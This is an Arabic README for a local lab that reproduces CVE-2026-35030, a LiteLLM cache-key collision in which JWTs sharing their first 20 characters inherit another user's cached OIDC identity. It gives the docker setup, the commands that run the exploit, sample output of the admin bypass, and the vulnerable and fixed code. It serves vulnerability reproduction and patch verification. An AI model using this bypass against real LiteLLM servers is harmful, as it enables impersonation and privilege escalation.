
الكود الخاص بإعادة إنتاج الثغرة الأمنية المقابلة شخصيًا
تستخدم ذاكرة التخزين المؤقت لبيانات مستخدم OIDC في LiteLLM القيمة
token[:20]كمفتاح لها. ينتج عن رمزي JWT مختلفين موقّعين بنفس الخوارزمية أول 20 حرفًا متطابقة، مما يسمح لمهاجم غير مصادَق بوراثة هوية وصلاحيات مستخدم آخر مخزّنة في ذاكرة التخزين المؤقت.
| الحقل | القيمة |
|---|---|
| CVE | CVE-2026-35030 |
| CVSS v4.0 | 9.4 (حرجة) — CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N |
| CVSS v3.1 | 9.1 (حرجة) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-287 (مصادقة غير سليمة) / CWE-222 (بيانات اعتماد محمية بشكل غير كافٍ) |
| المتأثر | LiteLLM < 1.83.0 (مع تفعيل enable_jwt_auth: true) |
| الإصلاح | v1.83.0+ (تم تغيير مفتاح ذاكرة التخزين المؤقت إلى sha256(token)) |
| تاريخ النشر | 2026-04-06 |
| اكتُشفت بواسطة | Veria Labs |
| الروابط | GHSA-jjhc-v7c2-5hh6 • NVD • استشارة GitLab |
LiteLLM هو بوابة ذكاء اصطناعي / خادم وكيل لاستدعاء واجهات برمجة تطبيقات LLM. عند تفعيل مصادقة JWT
(enable_jwt_auth: true)، يتحقق LiteLLM من الرموز ضد مزوّد OIDC
ويخزّن استجابة بيانات المستخدم (userinfo) في ذاكرة التخزين المؤقت.
الثغرة: يستخدم مفتاح ذاكرة التخزين المؤقت أول 20 حرفًا فقط من رمز JWT:
# Vulnerable code (pre-1.83.0)
cache_key = token[:20] # Only first 20 characters!
يتكوّن رمز JWT من ثلاثة أجزاء مشفّرة بـ base64url مفصولة بنقاط:
<header>.<payload>.<signature>
يتم ترميز الترويسة (مثل {"alg":"RS256","typ":"JWT"}) بشكل متطابق لجميع الرموز
التي تستخدم نفس خوارزمية التوقيع. وهذا يعني أن رمزي JWT مختلفين — صادرين لمستخدمين
مختلفين تمامًا — سيكون لهما نفس أول 20 حرفًا.
1. Admin authenticates → LiteLLM fetches userinfo → cached with key = token[:20]
↑
2. Attacker crafts JWT with same algorithm (RS256) ────────────────┘
→ token[:20] is IDENTICAL → cache HIT → inherits admin identity
ملاحظة حول ترخيص المؤسسات: مصادقة JWT/OIDC هي ميزة خاصة بالمؤسسات فقط في LiteLLM (تتطلب
LITELLM_LICENSE). ولإعادة إنتاج CVE محليًا، يتم تعديل فحصpremium_userإلىTrueفي كلا ملفي Dockerfile. هذا لا يؤثر على الثغرة — تصادم مفتاح ذاكرة التخزين المؤقت (token[:20]) موجود بشكل مستقل عن فحص المؤسسات.عند أول تشغيل يتم تنفيذ ترحيلات Prisma (حوالي 60-90 ثانية). سيكون LiteLLM جاهزًا عندما تظهر في السجلات الرسالة
"Uvicorn running on http://0.0.0.0:4000".
# 1. Build and start vulnerable LiteLLM + mock OIDC provider
docker compose up -d --build
# 2. Install Python dependencies
pip install -r requirements.txt
# 3. Create test users (required for JWT auth — master key needed)
curl -s -X POST http://localhost:4000/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "admin", "role": "proxy_admin"}'
curl -s -X POST http://localhost:4000/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "attacker", "role": "proxy_admin"}'
# 4. Demonstrate the cache key collision
python3 exploit/exploit.py --mode demo
# 5. Run the full exploit (auth bypass via cache collision)
python3 exploit/exploit.py --mode exploit --target http://localhost:4000
# 6. (Optional) Verify it's fixed in v1.83.0+
docker compose --profile fixed up -d --build litellm-fixed
python3 exploit/exploit.py --mode exploit --target http://localhost:4001 --fixed
وضع العرض التوضيحي — يُظهر تصادم مفتاح ذاكرة التخزين المؤقت:
[+] Admin JWT (subject=admin):
Token: eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
Prefix: 'eyJhbGciOiJSUzI1NiIs'
[+] Attacker JWT (subject=attacker):
Token: eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
Prefix: 'eyJhbGciOiJSUzI1NiIs'
[🔥] COLLISION: Both tokens share the same first 20 characters!
Reason: Both tokens use RS256 signing → identical JWT header base64 → identical first 20 characters
→ cache_key = token[:20] = 'eyJhbGciOiJSUzI1NiIs'
وضع الاستغلال — يُظهر تجاوز المصادقة الفعلي:
[VULNERABLE] Exploit Attempt — target: http://localhost:4000
[*] Step 1: Obtaining JWTs from OIDC provider...
Prefix collision: True
[*] Step 2: Sending admin JWT to LiteLLM (populates OIDC cache)...
HTTP 200
Response: {"user_id": "admin", ...}
[*] Step 3: Sending attacker JWT (cache collision attempt)...
HTTP 200
Response: {"user_id": "admin", ...} ← INHERITED ADMIN!
[🔥] EXPLOIT SUCCEEDED! Attacker inherited admin identity!
Attacker's token[:20] matched admin's cache key.
Response user_id='admin' (expected 'admin' for escalation)
الإصدار المُصلَح — مفتاح sha256 في ذاكرة التخزين المؤقت يمنع التصادم:
[FIXED] Exploit Attempt — target: http://localhost:4001
[*] Step 1: Obtaining JWTs from OIDC provider...
Prefix collision: True
[*] Step 2: Sending admin JWT to LiteLLM (populates OIDC cache)...
HTTP 200
Response: {"user_id": "admin", ...}
[*] Step 3: Sending attacker JWT (cache collision attempt)...
HTTP 200
Response: {"user_id": "attacker", ...} ← OWN IDENTITY preserved
[+] Attacker identified as user_id='attacker'.
Fixed version: cache collision prevented.
في litellm/proxy/auth/handle_jwt.py، يُستخدم token[:20] كمفتاح لذاكرة التخزين المؤقت لبيانات مستخدم OIDC:
# Vulnerable (pre-1.83.0) — litellm/proxy/auth/handle_jwt.py
cache_key = f"oidc_userinfo_{token[:20]}" # Only first 20 chars!
cached_userinfo = await user_api_key_cache.async_get_cache(cache_key)
if cached_userinfo is not None:
return cached_userinfo # Cache hit → skip userinfo fetch!
# Fixed (v1.83.0+) — same file, line 625
import hashlib
cache_key = f"oidc_userinfo_{hashlib.sha256(token.encode()).hexdigest()}"
token[:20] غير كافٍ| مكوّن الرمز | يتضمن بيانات خاصة بالمستخدم؟ | ثابت لنفس الخوارزمية؟ |
|---|---|---|
| الترويسة (أول ~30 حرفًا) | ❌ لا | ✅ نعم — base64 متطابق |
| الحمولة (خاصة بالمستخدم) | ✅ نعم | ❌ لا — فريدة لكل مستخدم |
| التوقيع | ✅ نعم | ❌ لا — فريد لكل مفتاح |
نظرًا لأن الترويسة هي الجزء الوحيد الواقع ضمن أول 20 حرفًا، ولأنها متطابقة لجميع الرموز التي تستخدم نفس خوارزمية التوقيع، فإن كل رمز RS256 JWT من نفس المُصدِر لديه نفس أول 20 حرفًا بالضبط.
| السيناريو | الوصف |
|---|---|
| تصعيد الامتيازات | يصبح مستخدم محدود الصلاحيات مديرًا عبر تصادم ذاكرة التخزين المؤقت |
| انتحال الهوية الأفقي | انتحال شخصية أي مستخدم مخزّنة بياناته في ذاكرة التخزين المؤقت |
| سلسلة تجاوز المصادقة | الدمج مع CVE-2026-35029 لتحقيق تنفيذ كود عن بُعد (RCE) |
CVE-2026-35030/
├── README.md # This file
├── docker-compose.yml # Vulnerable + fixed LiteLLM + mock OIDC
├── litellm_config.yaml # LiteLLM config with JWT auth enabled
├── requirements.txt # Python dependencies (PoC)
├── litellm-vuln/
│ └── Dockerfile # Vulnerable LiteLLM v1.82.5 with enterprise patch
├── litellm-fixed/
│ └── Dockerfile # Fixed LiteLLM v1.83.0+ with sha256 cache key
├── oidc-provider/
│ ├── Dockerfile # Mock OIDC provider image
│ ├── requirements.txt
│ └── server.py # OIDC mock (FastAPI)
├── exploit/
│ ├── exploit.py # Main PoC exploit script
│ └── token_forge.py # JWT collision utilities
├── docs/
│ └── advisory.md # Advisory reference
└── screenshots/
└── README.md # Proof screenshots placeholder
sha256(token))enable_jwt_auth: falseإخلاء مسؤولية: هذا المحتوى مُقدَّم لأغراض تعليمية ولأغراض الاختبارات الأمنية المصرّح بها فقط.